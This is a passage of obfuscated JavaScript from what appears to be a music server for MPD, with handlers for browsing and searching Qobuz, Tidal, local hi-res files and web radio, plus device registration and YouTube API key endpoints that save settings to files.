_0x4acd32(0x5bd)!=_0x3bd02f[_0x4acd32(0x248)];}),fillYTDurations(_0x1519e0[_0x304c25(0x319)],function(){var _0xbf0716=_0x304c25;respHandlers[_0xbf0716(0x1fe)](_0x1519e0,_0x47a7ea);})):fillYTPlaylistLengths(_0x1519e0['items'],function(){var _0x27b982=_0x304c25;respHandlers[_0x27b982(0x1fe)](_0x1519e0,_0x47a7ea);}));});else{if(_0x1e0df3(0x220)==_0x120ac5){if('search'==_0x14701d){if(_0x38566f['startsWith']('id:')){var _0x47d726=_0x38566f[_0x1e0df3(0x457)](_0x38566f[_0x1e0df3(0x44a)](_0x1e0df3(0x442))+0x3)['split'](' ')[0x0];g_qobuz_api[_0x1e0df3(0x5cb)]({'id':_0x47d726},_0x1e0df3(0x32e),function(_0x32f43f){var _0x4646f7=_0x1e0df3;if(_0x32f43f[_0x4646f7(0x388)])respHandlers[_0x4646f7(0x1fe)](''+_0x32f43f[_0x4646f7(0x388)],_0x47a7ea,!0x0);else{var _0x10c4d2=_0x32f43f[_0x4646f7(0x32e)][_0x4646f7(0x3e2)],_0xd60122=fillQobuzAlbums(_0x32f43f);respHandlers[_0x4646f7(0x4ce)]({'size':_0x10c4d2,'result':_0xd60122},_0x47a7ea);}});}else g_qobuz_api['search']({'type':_0x29efae,'limit':config[_0x1e0df3(0x429)],'offset':_0x371472*config[_0x1e0df3(0x429)],'query':mpdUtils['cleanFilter'](_0x38566f)},function(_0x1a05cf){var _0x54f032=_0x1e0df3;if(_0x1a05cf['error'])respHandlers['handleSimpleResponse'](''+_0x1a05cf['error'],_0x47a7ea,!0x0);else{if(_0x54f032(0x326)==_0x29efae)var _0x5c8993=_0x1a05cf['artists'][_0x54f032(0x3e2)],_0x20405f=_0x1a05cf['artists'][_0x54f032(0x319)][_0x54f032(0x42a)](function(_0x2b8eed){var _0xd9cb87=_0x54f032,_0x4f5876={};return _0x4f5876['type']=_0x29efae,_0x4f5876[_0xd9cb87(0x51c)]=_0xd9cb87(0x220),_0x4f5876['id']=_0x2b8eed['id'],_0x4f5876[_0xd9cb87(0x4a1)]=_0x2b8eed[_0xd9cb87(0x2c3)],_0x4f5876[_0xd9cb87(0x326)]=_0x2b8eed[_0xd9cb87(0x2c3)],_0x4f5876;});else{if(_0x54f032(0x551)==_0x29efae)_0x5c8993=_0x1a05cf['albums']['total'],_0x20405f=fillQobuzAlbums(_0x1a05cf);else{if(_0x54f032(0x287)==_0x29efae)_0x5c8993=_0x1a05cf[_0x54f032(0x423)]['total'],_0x20405f=fillQobuzPlaylists(_0x1a05cf);}}respHandlers['sendAsJson']({'size':_0x5c8993,'result':_0x20405f},_0x47a7ea);}});}else _0x1e0df3(0x5c8)==_0x14701d||_0x1e0df3(0x52d)==_0x14701d?g_qobuz_api['featured']({'type':_0x29efae,'subtype':_0x14701d,'limit':config['page_size'],'offset':_0x371472*config['page_size']},function(_0x1a3a3e){var _0x1627a3=_0x1e0df3;if(_0x1a3a3e[_0x1627a3(0x388)])respHandlers[_0x1627a3(0x1fe)](''+_0x1a3a3e['error'],_0x47a7ea,!0x0);else{if('artist'==_0x29efae)var _0x3f903b=_0x1a3a3e[_0x1627a3(0x40c)][_0x1627a3(0x3e2)],_0x562498=_0x1a3a3e[_0x1627a3(0x319)][_0x1627a3(0x42a)](function(_0x4869c9){var _0x3d57bd=_0x1627a3,_0x33ecc8={};return _0x33ecc8[_0x3d57bd(0x3c6)]=_0x29efae,_0x33ecc8['id']=_0x4869c9['id'],_0x33ecc8[_0x3d57bd(0x4a1)]=_0x4869c9[_0x3d57bd(0x2c3)],_0x33ecc8[_0x3d57bd(0x326)]=_0x4869c9[_0x3d57bd(0x2c3)],_0x33ecc8;});else{if(_0x1627a3(0x551)==_0x29efae)_0x3f903b=_0x1a3a3e['albums'][_0x1627a3(0x3e2)],_0x562498=fillQobuzAlbums(_0x1a3a3e);else{if(_0x1627a3(0x287)==_0x29efae)_0x3f903b=_0x1a3a3e['playlists'][_0x1627a3(0x3e2)],_0x562498=fillQobuzPlaylists(_0x1a3a3e);}}respHandlers['sendAsJson']({'size':_0x3f903b,'result':_0x562498},_0x47a7ea);}}):_0x1e0df3(0x496)==_0x14701d&&g_qobuz_api[_0x1e0df3(0x43b)]({'type':_0x29efae,'limit':config[_0x1e0df3(0x429)],'offset':_0x371472*config[_0x1e0df3(0x429)]},function(_0x3473ae){var _0x43f8ba=_0x1e0df3;if(_0x3473ae['error'])respHandlers['handleSimpleResponse'](''+_0x3473ae[_0x43f8ba(0x388)],_0x47a7ea,!0x0);else{var _0x2f6cab=null,_0x10f28e=0x0;_0x43f8ba(0x326)==_0x29efae?(_0x10f28e=_0x3473ae[_0x43f8ba(0x40c)][_0x43f8ba(0x3e2)],_0x2f6cab=_0x3473ae[_0x43f8ba(0x40c)][_0x43f8ba(0x319)]['map'](function(_0x3c6235){var _0x1a3ea0=_0x43f8ba,_0x506137={};return _0x506137[_0x1a3ea0(0x3c6)]=_0x29efae,_0x506137[_0x1a3ea0(0x51c)]=_0x1a3ea0(0x220),_0x506137['id']=_0x3c6235['id'],_0x506137[_0x1a3ea0(0x4a1)]=_0x3c6235[_0x1a3ea0(0x2c3)],_0x506137[_0x1a3ea0(0x326)]=_0x3c6235[_0x1a3ea0(0x2c3)],_0x506137;})):_0x43f8ba(0x551)==_0x29efae?(_0x10f28e=_0x3473ae[_0x43f8ba(0x32e)]['total'],_0x2f6cab=fillQobuzAlbums(_0x3473ae)):_0x43f8ba(0x287)==_0x29efae&&(_0x10f28e=_0x3473ae[_0x43f8ba(0x423)][_0x43f8ba(0x3e2)],_0x2f6cab=fillQobuzPlaylists(_0x3473ae)),respHandlers['sendAsJson']({'size':_0x10f28e,'result':_0x2f6cab},_0x47a7ea);}});}else{if(_0x1e0df3(0x382)==_0x120ac5){if(_0x1e0df3(0x37e)==_0x14701d){if(_0x38566f[_0x1e0df3(0x45d)](_0x1e0df3(0x442)))_0x47d726=_0x38566f[_0x1e0df3(0x457)](_0x38566f[_0x1e0df3(0x44a)](_0x1e0df3(0x442))+0x3)[_0x1e0df3(0x4b9)](' ')[0x0],g_tidal_api[_0x1e0df3(0x3c2)]({'id':_0x47d726},function(_0x473f31){var _0x33ef95=_0x1e0df3;if(_0x473f31[_0x33ef95(0x388)])respHandlers['handleSimpleResponse'](''+_0x473f31[_0x33ef95(0x388)],_0x47a7ea,!0x0);else{var _0x44fa5d=_0x473f31[_0x33ef95(0x47e)],_0x57d515=_0x473f31[_0x33ef95(0x319)][_0x33ef95(0x42a)](function(_0x3007e2){var _0x2eb219=_0x33ef95,_0x216cc5={};return _0x216cc5[_0x2eb219(0x4a1)]=_0x3007e2[_0x2eb219(0x248)],_0x216cc5['id']=_0x3007e2['id'],_0x216cc5[_0x2eb219(0x551)]=_0x3007e2[_0x2eb219(0x248)],_0x216cc5[_0x2eb219(0x267)]=_0x3007e2['id'],_0x3007e2[_0x2eb219(0x326)]&&_0x3007e2['artist']['picture']&&(_0x216cc5[_0x2eb219(0x4ab)]=g_tidal_api[_0x2eb219(0x3e7)](_0x3007e2[_0x2eb219(0x326)][_0x2eb219(0x577)],0x140)),_0x216cc5['artist']=_0x3007e2[_0x2eb219(0x326)]['name'],_0x216cc5[_0x2eb219(0x479)]=_0x216cc5[_0x2eb219(0x326)],_0x216cc5[_0x2eb219(0x271)]=_0x3007e2['audioQuality'],_0x216cc5[_0x2eb219(0x35b)]=_0x3007e2[_0x2eb219(0x35b)],_0x216cc5[_0x2eb219(0x2f3)]=_0x3007e2[_0x2eb219(0x373)],_0x216cc5['cover_url']=g_tidal_api[_0x2eb219(0x3e7)](_0x216cc5[_0x2eb219(0x2f3)],0x140),_0x3007e2[_0x2eb219(0x487)]&&(_0x216cc5['allowStreaming']=_0x3007e2[_0x2eb219(0x487)]),_0x216cc5[_0x2eb219(0x2f1)]=_0x2eb219(0x382),_0x216cc5;});respHandlers[_0x33ef95(0x4ce)]({'size':_0x44fa5d,'result':_0x57d515},_0x47a7ea);}});else g_tidal_api['search']({'type':_0x29efae+'s','limit':config[_0x1e0df3(0x429)],'offset':_0x371472*config[_0x1e0df3(0x429)],'query':mpdUtils[_0x1e0df3(0x349)](_0x38566f)},function(_0x1f0ec5){var _0x1dc034=_0x1e0df3;if(_0x1f0ec5[_0x1dc034(0x388)])respHandlers[_0x1dc034(0x1fe)](''+_0x1f0ec5['error'],_0x47a7ea,!0x0);else{var _0x15757d=(_0x1f0ec5=_0x1f0ec5[_0x29efae+'s'])['totalNumberOfItems'],_0x5904dc=_0x1f0ec5['items'][_0x1dc034(0x42a)](function(_0x316c65){var _0x4de44e=_0x1dc034,_0x1bc094={};return _0x1bc094[_0x4de44e(0x3c6)]=_0x29efae,_0x1bc094['id']=_0x316c65['id'],_0x1bc094[_0x4de44e(0x51c)]=_0x4de44e(0x382),_0x1bc094[_0x4de44e(0x2f1)]=_0x4de44e(0x382),_0x4de44e(0x551)==_0x29efae?(_0x1bc094[_0x4de44e(0x4a1)]=_0x316c65['title'],_0x1bc094[_0x4de44e(0x551)]=_0x316c65[_0x4de44e(0x248)],_0x1bc094['albumid']=_0x316c65['id'],_0x1bc094[_0x4de44e(0x326)]=_0x316c65['artists'][0x0]['name'],_0x1bc094['albumartist']=_0x1bc094[_0x4de44e(0x326)],_0x1bc094['cover_id']=_0x316c65[_0x4de44e(0x373)],_0x1bc094['numberOfTracks']=_0x316c65[_0x4de44e(0x35b)],_0x1bc094[_0x4de44e(0x3a3)]=g_tidal_api[_0x4de44e(0x3e7)](_0x1bc094[_0x4de44e(0x2f3)],0x140),_0x1bc094[_0x4de44e(0x271)]=_0x316c65[_0x4de44e(0x3e4)],_0x316c65[_0x4de44e(0x487)]&&(_0x1bc094['allowStreaming']=_0x316c65['allowStreaming'])):_0x4de44e(0x326)==_0x29efae?(_0x1bc094[_0x4de44e(0x4a1)]=_0x316c65[_0x4de44e(0x2c3)],_0x1bc094['artist']=_0x316c65['name']):'playlist'==_0x29efae&&(_0x1bc094['id']=_0x316c65[_0x4de44e(0x4af)],_0x1bc094['value']=_0x316c65[_0x4de44e(0x248)],_0x1bc094['numberOfTracks']=_0x316c65['numberOfTracks'],_0x1bc094['cover_id']=_0x316c65[_0x4de44e(0x263)],_0x1bc094['cover_url']=g_tidal_api[_0x4de44e(0x3e7)](_0x316c65[_0x4de44e(0x263)],0x140,0xd6),_0x316c65[_0x4de44e(0x536)]&&(0x0==_0x316c65[_0x4de44e(0x536)]['id']?_0x1bc094[_0x4de44e(0x536)]=_0x4de44e(0x35f):_0x316c65['creator'][_0x4de44e(0x2c3)]&&(_0x1bc094[_0x4de44e(0x536)]=_0x316c65[_0x4de44e(0x536)][_0x4de44e(0x2c3)]))),_0x1bc094;});respHandlers[_0x1dc034(0x4ce)]({'size':_0x15757d,'result':_0x5904dc},_0x47a7ea);}});}else _0x1e0df3(0x52d)==_0x14701d||'recommended'==_0x14701d?('song'==_0x29efae&&(_0x29efae=_0x1e0df3(0x521)),g_tidal_api[_0x1e0df3(0x26a)](_0x29efae+'s',_0x14701d,config[_0x1e0df3(0x429)],_0x371472*config['page_size'],function(_0x465376){var _0x6ceacf=_0x1e0df3;if(_0x465376[_0x6ceacf(0x388)])respHandlers[_0x6ceacf(0x1fe)](''+_0x465376[_0x6ceacf(0x388)],_0x47a7ea,!0x0);else{var _0x1f9f52=_0x465376['totalNumberOfItems'];if(_0x465376[_0x6ceacf(0x319)])var _0x1dcf44=_0x465376[_0x6ceacf(0x319)]['map'](function(_0x37413a){var _0x4475b3=_0x6ceacf,_0x532218={};return _0x532218[_0x4475b3(0x3c6)]=_0x29efae,_0x532218[_0x4475b3(0x51c)]=_0x4475b3(0x382),_0x532218[_0x4475b3(0x2f1)]='tidal',_0x4475b3(0x287)==_0x29efae?(_0x532218['id']=_0x37413a[_0x4475b3(0x4af)],_0x532218['value']=_0x37413a[_0x4475b3(0x248)],_0x532218[_0x4475b3(0x35b)]=_0x37413a[_0x4475b3(0x35b)],_0x532218[_0x4475b3(0x2f3)]=_0x37413a[_0x4475b3(0x263)],_0x532218['cover_url']=g_tidal_api[_0x4475b3(0x3e7)](_0x532218[_0x4475b3(0x2f3)],0x140,0xd6),_0x37413a[_0x4475b3(0x536)]&&(0x0==_0x37413a['creator']['id']?_0x532218[_0x4475b3(0x536)]=_0x4475b3(0x35f):_0x37413a['creator'][_0x4475b3(0x2c3)]&&(_0x532218[_0x4475b3(0x536)]=_0x37413a[_0x4475b3(0x536)][_0x4475b3(0x2c3)]))):_0x4475b3(0x551)==_0x29efae?(_0x532218['id']=_0x37413a['id'],_0x532218[_0x4475b3(0x4a1)]=_0x37413a['title'],_0x532218['album']=_0x37413a['title'],_0x532218[_0x4475b3(0x267)]=_0x37413a['id'],_0x532218['artist']=_0x37413a[_0x4475b3(0x326)][_0x4475b3(0x2c3)],_0x532218['albumartist']=_0x532218[_0x4475b3(0x326)],_0x532218[_0x4475b3(0x35b)]=_0x37413a['numberOfTracks'],_0x532218[_0x4475b3(0x271)]=_0x37413a[_0x4475b3(0x3e4)],_0x532218[_0x4475b3(0x2f3)]=_0x37413a[_0x4475b3(0x373)],_0x532218[_0x4475b3(0x3a3)]=g_tidal_api[_0x4475b3(0x3e7)](_0x532218[_0x4475b3(0x2f3)],0x140),_0x37413a[_0x4475b3(0x487)]&&(_0x532218[_0x4475b3(0x487)]=_0x37413a[_0x4475b3(0x487)])):_0x4475b3(0x521)==_0x29efae&&(_0x532218['id']=_0x37413a['id'],_0x532218[_0x4475b3(0x248)]=_0x37413a[_0x4475b3(0x248)],_0x532218['album']=_0x37413a[_0x4475b3(0x551)][_0x4475b3(0x248)],_0x532218[_0x4475b3(0x267)]=_0x37413a[_0x4475b3(0x551)]['id'],_0x37413a[_0x4475b3(0x40c)][0x0]&&_0x37413a[_0x4475b3(0x326)][0x0][_0x4475b3(0x577)]&&(_0x532218['artist_pic_url']=g_tidal_api['getArtURL'](_0x37413a['artists'][0x0][_0x4475b3(0x577)],0x140)),_0x532218[_0x4475b3(0x326)]=_0x37413a[_0x4475b3(0x40c)][0x0][_0x4475b3(0x2c3)],_0x532218[_0x4475b3(0x479)]=_0x532218['artist'],_0x532218[_0x4475b3(0x521)]=_0x37413a[_0x4475b3(0x24b)],_0x532218[_0x4475b3(0x271)]=_0x37413a['audioQuality'],_0x532218[_0x4475b3(0x391)]=_0x37413a[_0x4475b3(0x391)],_0x532218[_0x4475b3(0x2f1)]=_0x4475b3(0x382),_0x532218[_0x4475b3(0x2f3)]=_0x37413a['album'][_0x4475b3(0x373)],_0x532218['cover_url']=g_tidal_api[_0x4475b3(0x3e7)](_0x532218[_0x4475b3(0x2f3)],0x140)),_0x532218;});respHandlers[_0x6ceacf(0x4ce)]({'size':_0x1f9f52,'result':_0x1dcf44},_0x47a7ea);}})):g_tidal_api[_0x1e0df3(0x4dd)]({'id':g_tidal_api['getMyID'](),'what':_0x29efae+'s','page':config[_0x1e0df3(0x429)],'offset':_0x371472*config[_0x1e0df3(0x429)]},function(_0x1cb43d){var _0x5f3783=_0x1e0df3;if(_0x1cb43d[_0x5f3783(0x388)])respHandlers['handleSimpleResponse'](''+_0x1cb43d[_0x5f3783(0x388)],_0x47a7ea,!0x0);else{for(var _0x5ad2cf=_0x1cb43d[_0x5f3783(0x47e)],_0x4a5a18=[],_0x4537fb=0x0;_0x1cb43d['items']&&_0x4537fb<_0x1cb43d[_0x5f3783(0x319)][_0x5f3783(0x5c4)];_0x4537fb++){item=_0x1cb43d[_0x5f3783(0x319)][_0x4537fb];var _0x377a54={};_0x377a54[_0x5f3783(0x3c6)]=_0x29efae,_0x377a54[_0x5f3783(0x51c)]=_0x5f3783(0x382),_0x377a54[_0x5f3783(0x2f1)]='tidal',_0x5f3783(0x287)==_0x29efae?(_0x377a54['id']=item['item'][_0x5f3783(0x4af)],_0x377a54['value']=item[_0x5f3783(0x22a)]['title'],_0x377a54['numberOfTracks']=item[_0x5f3783(0x22a)]['numberOfTracks'],item[_0x5f3783(0x22a)]['image']&&(_0x377a54[_0x5f3783(0x2f3)]=item[_0x5f3783(0x22a)]['image'],_0x377a54[_0x5f3783(0x3a3)]=g_tidal_api[_0x5f3783(0x3e7)](_0x377a54['cover_id'],0x140,0xd6)),item[_0x5f3783(0x22a)]['creator']&&(0x0==item['item'][_0x5f3783(0x536)]['id']?_0x377a54[_0x5f3783(0x536)]=_0x5f3783(0x35f):item[_0x5f3783(0x22a)][_0x5f3783(0x536)][_0x5f3783(0x2c3)]&&(_0x377a54[_0x5f3783(0x536)]=item[_0x5f3783(0x22a)][_0x5f3783(0x536)]['name']))):(_0x377a54['id']=item['item']['id'],item['item'][_0x5f3783(0x3c6)]?(_0x377a54['value']=item[_0x5f3783(0x22a)]['title'],_0x377a54[_0x5f3783(0x551)]=item['item'][_0x5f3783(0x248)],_0x377a54[_0x5f3783(0x267)]=item['item']['id'],_0x377a54[_0x5f3783(0x326)]=item[_0x5f3783(0x22a)][_0x5f3783(0x326)][_0x5f3783(0x2c3)],_0x377a54[_0x5f3783(0x479)]=_0x377a54[_0x5f3783(0x326)],_0x377a54['quality']=item[_0x5f3783(0x3e4)],_0x377a54[_0x5f3783(0x35b)]=item[_0x5f3783(0x22a)]['numberOfTracks'],_0x377a54[_0x5f3783(0x2f3)]=item[_0x5f3783(0x22a)][_0x5f3783(0x373)],_0x377a54[_0x5f3783(0x3a3)]=g_tidal_api[_0x5f3783(0x3e7)](_0x377a54['cover_id'],0x140),item[_0x5f3783(0x22a)]['allowStreaming']&&(_0x377a54[_0x5f3783(0x487)]=item[_0x5f3783(0x22a)][_0x5f3783(0x487)])):_0x377a54['value']=item[_0x5f3783(0x22a)][_0x5f3783(0x2c3)]),mpdUtils[_0x5f3783(0x5a3)](_0x377a54[_0x5f3783(0x4a1)],_0x38566f)&&_0x4a5a18[_0x5f3783(0x28c)](_0x377a54);}_0x5f3783(0x287)==_0x29efae?g_tidal_api[_0x5f3783(0x592)](g_tidal_api[_0x5f3783(0x4ba)](),_0x29efae+'s',_0x371472*config[_0x5f3783(0x429)],function(_0x3d48d4){var _0x28cb3f=_0x5f3783;_0x5ad2cf+=_0x3d48d4['totalNumberOfItems'];for(var _0x3e4cce=0x0;_0x3d48d4[_0x28cb3f(0x319)]&&_0x3e4cce<_0x3d48d4['items'][_0x28cb3f(0x5c4)];_0x3e4cce++){item=_0x3d48d4['items'][_0x3e4cce];var _0x166823={'library':'tidal','url_type':_0x28cb3f(0x382)};_0x166823['type']=_0x29efae,_0x166823['id']=item['uuid'],_0x166823['value']=item['title'],_0x166823[_0x28cb3f(0x35b)]=item[_0x28cb3f(0x35b)],item[_0x28cb3f(0x263)]&&(_0x166823['cover_id']=item[_0x28cb3f(0x263)],_0x166823[_0x28cb3f(0x3a3)]=g_tidal_api[_0x28cb3f(0x3e7)](item[_0x28cb3f(0x263)],0x140,0xd6)),_0x166823[_0x28cb3f(0x536)]=_0x28cb3f(0x35f),mpdUtils['hasFilter'](_0x166823[_0x28cb3f(0x4a1)],_0x38566f)&&-0x1==_0x4a5a18[_0x28cb3f(0x2a8)](function(_0x4e3da7){return _0x4e3da7['id']==_0x166823['id'];})&&_0x4a5a18[_0x28cb3f(0x28c)](_0x166823);}respHandlers[_0x28cb3f(0x4ce)]({'size':_0x5ad2cf,'result':_0x4a5a18},_0x47a7ea);}):respHandlers['sendAsJson']({'size':_0x5ad2cf,'result':_0x4a5a18},_0x47a7ea);}});}else{if(_0x1e0df3(0x428)==_0x120ac5)getHighresMedialist(function(_0x3fe331){var _0x3e09e2=_0x1e0df3;_0x3fe331||respHandlers[_0x3e09e2(0x4ce)]({'size':0x0,'result':_0x3e09e2(0x1e3)},_0x47a7ea);var _0x2fe447=[];if(_0x3e09e2(0x551)==_0x29efae){for(var _0x27e87a,_0x46536a=null,_0x3ae5a4=0x0,_0x4b8425=0x0,_0x2c9ac7=0x0;_0x2c9ac7<_0x3fe331[_0x3e09e2(0x5c4)];_0x2c9ac7++){(_0x7cdb6f=_0x3fe331[_0x2c9ac7])[_0x3e09e2(0x58f)]&&(_0x7cdb6f['albumTitle']!==_0x46536a&&(null!=_0x46536a&&(_0x3ae5a4==_0x4b8425?_0x27e87a[_0x3e09e2(0x4f6)]=_0x3e09e2(0x54b):_0x3ae5a4>0x0&&(_0x27e87a[_0x3e09e2(0x4f6)]=_0x3ae5a4),mpdUtils[_0x3e09e2(0x5a3)](_0x27e87a[_0x3e09e2(0x4a1)],_0x38566f)&&_0x2fe447[_0x3e09e2(0x28c)](_0x27e87a)),_0x27e87a={},_0x3ae5a4=0x0,_0x4b8425=0x0,_0x46536a=_0x7cdb6f['albumTitle'],_0x27e87a[_0x3e09e2(0x4a1)]=_0x7cdb6f[_0x3e09e2(0x4bf)],_0x27e87a[_0x3e09e2(0x551)]=_0x7cdb6f['albumTitle'],_0x27e87a['artist']=_0x7cdb6f[_0x3e09e2(0x326)],_0x27e87a['albumartist']=_0x7cdb6f['artist'],_0x27e87a[_0x3e09e2(0x3a3)]=_0x7cdb6f[_0x3e09e2(0x5d4)]),_0x4b8425++,_0x7cdb6f[_0x3e09e2(0x4f6)]&&_0x3ae5a4++);}_0x3ae5a4==_0x4b8425?_0x27e87a[_0x3e09e2(0x4f6)]=_0x3e09e2(0x54b):_0x3ae5a4>0x0&&(_0x27e87a['local']=_0x3ae5a4),mpdUtils[_0x3e09e2(0x5a3)](_0x27e87a[_0x3e09e2(0x4a1)],_0x38566f)&&_0x2fe447[_0x3e09e2(0x28c)](_0x27e87a);}else{if(_0x3e09e2(0x326)==_0x29efae){var _0x44cc9e={};for(_0x2c9ac7=0x0;_0x2c9ac7<_0x3fe331[_0x3e09e2(0x5c4)];_0x2c9ac7++){(_0x7cdb6f=_0x3fe331[_0x2c9ac7])[_0x3e09e2(0x58f)]&&(mpdUtils[_0x3e09e2(0x5a3)](_0x7cdb6f[_0x3e09e2(0x326)],_0x38566f)&&(_0x44cc9e[_0x7cdb6f[_0x3e09e2(0x326)]]=!0x0));}for(var _0x450d1c in _0x44cc9e){var _0x7cdb6f;(_0x7cdb6f={})[_0x3e09e2(0x4a1)]=_0x450d1c,_0x7cdb6f[_0x3e09e2(0x326)]=_0x450d1c,_0x2fe447[_0x3e09e2(0x28c)](_0x7cdb6f);}}}var _0x5e6f7d=_0x2fe447[_0x3e09e2(0x5c4)];_0x2fe447=_0x2fe447[_0x3e09e2(0x560)](_0x371472*config[_0x3e09e2(0x429)],_0x371472*config[_0x3e09e2(0x429)]+config['page_size']),respHandlers['sendAsJson']({'size':_0x5e6f7d,'result':_0x2fe447},_0x47a7ea);});else{if('webradio'==_0x120ac5){var _0x3aa54a=[],_0x2b7bf=0x0,_0x14a3d3=config['webradio_sorting']||'br';if('my stations'==_0x29efae){for(var _0xe7a24e=Object[_0x1e0df3(0x4df)](g_webradio),_0x147b35=0x0;_0x147b35<_0xe7a24e[_0x1e0df3(0x5c4)];_0x147b35++){var _0x526740=_0xe7a24e[_0x147b35],_0x12fa8a=g_webradio[_0x526740];_0x12fa8a[_0x1e0df3(0x445)]=_0x12fa8a[_0x1e0df3(0x439)],_0x12fa8a[_0x1e0df3(0x248)]=_0x12fa8a['name'],mpdUtils[_0x1e0df3(0x5a3)](_0x12fa8a[_0x1e0df3(0x2c3)],_0x38566f)&&_0x3aa54a[_0x1e0df3(0x28c)](_0x12fa8a);}_0x2b7bf=_0x3aa54a[_0x1e0df3(0x5c4)],_0x3aa54a=_0x3aa54a['slice'](_0x371472*config[_0x1e0df3(0x429)],_0x371472*config['page_size']+config[_0x1e0df3(0x429)]),respHandlers['sendAsJson']({'size':_0x2b7bf,'result':_0x3aa54a},_0x47a7ea);}else{if('search'==_0x29efae)(_0x186cb7=getCachedResult(_0x1e0df3(0x38e)+_0x38566f))?processWebradioSearch(_0x186cb7,_0x14a3d3,'',_0x371472,_0x47a7ea):g_shoutcast_api[_0x1e0df3(0x258)](mpdUtils[_0x1e0df3(0x349)](_0x38566f),function(_0x2a44d5){var _0x25ac17=_0x1e0df3;_0x2a44d5[_0x25ac17(0x388)]?respHandlers['handleSimpleResponse'](''+_0x2a44d5[_0x25ac17(0x388)],_0x47a7ea,!0x0):(setCachedResult(_0x25ac17(0x38e)+_0x38566f,_0x2a44d5),processWebradioSearch(_0x2a44d5,_0x14a3d3,_0x38566f,_0x371472,_0x47a7ea));});else{if('top 500'==_0x29efae){var _0x186cb7;(_0x186cb7=getCachedResult(_0x1e0df3(0x38e)+_0x29efae))?processWebradioSearch(_0x186cb7,_0x14a3d3,_0x38566f,_0x371472,_0x47a7ea):g_shoutcast_api[_0x1e0df3(0x494)](function(_0x36da5d){var _0x28558d=_0x1e0df3;_0x36da5d[_0x28558d(0x388)]?respHandlers[_0x28558d(0x1fe)](''+_0x36da5d['error'],_0x47a7ea,!0x0):(setCachedResult(_0x28558d(0x38e)+_0x29efae,_0x36da5d),processWebradioSearch(_0x36da5d,_0x14a3d3,_0x38566f,_0x371472,_0x47a7ea));});}else _0x1e0df3(0x508)==_0x29efae?getRadiotimeStations(_0x3aa54a,_0x14701d,_0x371472*config[_0x1e0df3(0x429)],function(_0x24ebfa){var _0x10797c=_0x1e0df3;_0x24ebfa?respHandlers[_0x10797c(0x1fe)](''+_0x186cb7[_0x10797c(0x388)],_0x47a7ea,!0x0):respHandlers['sendAsJson']({'size':0x1f4,'result':_0x3aa54a},_0x47a7ea);}):respHandlers['handleSimpleResponse'](_0x1e0df3(0x332),_0x47a7ea,!0x0);}}}}}}}}}},'/registerOnline':{},'/registerAjax':{'post':function(_0x2eddf5,_0x412c4c){var _0xace619=_0x2db473,_0x49f95e,_0x2dd1eb=_0x2eddf5['body']['regno'],_0x43ac77=_0xace619(0x2bf);_0x49f95e=_0x2dd1eb,(_0x43ac77=_0xace619(0x4ae),setTimeout(function(_0x334392){var _0x52c5f6=_0xace619;mpdUtils[_0x52c5f6(0x1f2)](_0x2dd1eb,function(_0x228da5,_0x186b87){var _0x5a84a4=_0x52c5f6;_0x228da5?mpdUtils[_0x5a84a4(0x3ac)](config,_0x49f95e,function(_0x1f7815,_0x1e202c){var _0x38ea3b=_0x5a84a4;config[_0x38ea3b(0x310)]=mpdUtils[_0x38ea3b(0x25f)](config),config[_0x38ea3b(0x29a)]=_0x49f95e,fs[_0x38ea3b(0x3a2)]('./config.json',JSON['stringify'](config,null,'	')),_0x43ac77=_0x1e202c,setTimeout(function(_0x1f46b1){var _0xda1dfe=_0x38ea3b;client[_0xda1dfe(0x32b)](_0xda1dfe(0x555),_0x1f46b1);},0x3e8,'registration-message:'+_0x1e202c);}):(_0x43ac77='Lỗi!',client[_0x5a84a4(0x32b)]('message',!0x0));});},0x3e8,'registration-message:'+_0x412c4c),respHandlers[_0xace619(0x1fe)](_0x43ac77,_0x412c4c));}},'/youtubeapikeyno':{'post':function(_0x1311d7,_0x227882){var _0x2bafd1=_0x2db473,_0x4306df=_0x1311d7['body'][_0x2bafd1(0x2c8)],_0x263df7='ERROR!';(_0x263df7=_0x2bafd1(0x537),setTimeout(function(_0x2379dc){var _0x5c34cd=_0x2bafd1;fs['writeFileSync'](_0x5c34cd(0x599),_0x4306df),_0x263df7=_0x5c34cd(0x537),client['emitMessage'](_0x5c34cd(0x555),!0x0),_0x227882='Đã lưu';},0x3e8,_0x2bafd1(0x299)+_0x227882)),respHandlers[_0x2bafd1(0x1fe)](_0x263df7,_0x227882);}},'/registerAjax_Old2':{'post':function(_0x55512b,_0x16f1a2){var _0x38a443=_0x2db473,_0x5f031e,_0x3099a6=_0x55512b[_0x38a443(0x29c)]['regno'],_0x578171=_0x38a443(0x2bf);(_0x5f031e=mpdUtils[_0x38a443(0x1f2)](config))==_0x3099a6&&(_0x578171='SUCCESS! registration code is valid for this device!',setTimeout(function(_0x228eca){var _0x4363e4=_0x38a443;config[_0x4363e4(0x310)]=mpdUtils[_0x4363e4(0x25f)](config),config[_0x4363e4(0x29a)]=_0x5f031e,fs[_0x4363e4(0x3a2)](_0x4363e4(0x580),JSON[_0x4363e4(0x2e9)](config,null,'	')),shell[_0x4363e4(0x513)](_0x4363e4(0x4b5)+_0x5f031e+_0x4363e4(0x5a6),function(_0x5ccc62,_0x3512dc){var _0x3c00a1=_0x4363e4;shell[_0x3c00a1(0x513)](_0x3c00a1(0x4b5)+config[_0x3c00a1(0x310)]+_0x3c00a1(0x547),function(_0x63eb51,_0x39abb1){var _0x273c10=_0x3c00a1;mpdUtils[_0x273c10(0x3ac)](config,_0x5f031e,function(_0x3b2117,_0x548906){var _0x15094c=_0x273c10;setTimeout(function(_0x1266a2){var _0x4f761f=_0x4832;client[_0x4f761f(0x32b)]('message',_0x1266a2);},0x3e8,_0x15094c(0x379)+_0x548906);});});});},0x3e8,_0x38a443(0x379)+_0x16f1a2)),respHandlers[_0x38a443(0x1fe)](_0x578171,_0x16f1a2);}},'/registerAjax_Old':{'post':function(_0x1d1b38,_0x11e58a){var _0x1927f7=_0x2db473,_0x4cdc1d,_0x264033=_0x1d1b38[_0x1927f7(0x29c)][_0x1927f7(0x20b)],_0x4633db=_0x1d1b38[_0x1927f7(0x29c)][_0x1927f7(0x42d)]||config[_0x1927f7(0x204)],_0x7c0a49=_0x1927f7(0x2bf);((_0x4cdc1d=mpdUtils[_0x1927f7(0x286)](_0x4633db,_0x264033))==_0x264033||_0x264033[_0x1927f7(0x45d)](_0x1927f7(0x3d4))&&_0x4cdc1d[_0x1927f7(0x457)](0x0,0x5)===_0x264033[_0x1927f7(0x457)](0x5))&&(_0x7c0a49=_0x1927f7(0x4a8),mpdUtils['isR2'](config,_0x264033,_0x4633db,function(_0x39c5a3,_0x28d50f){var 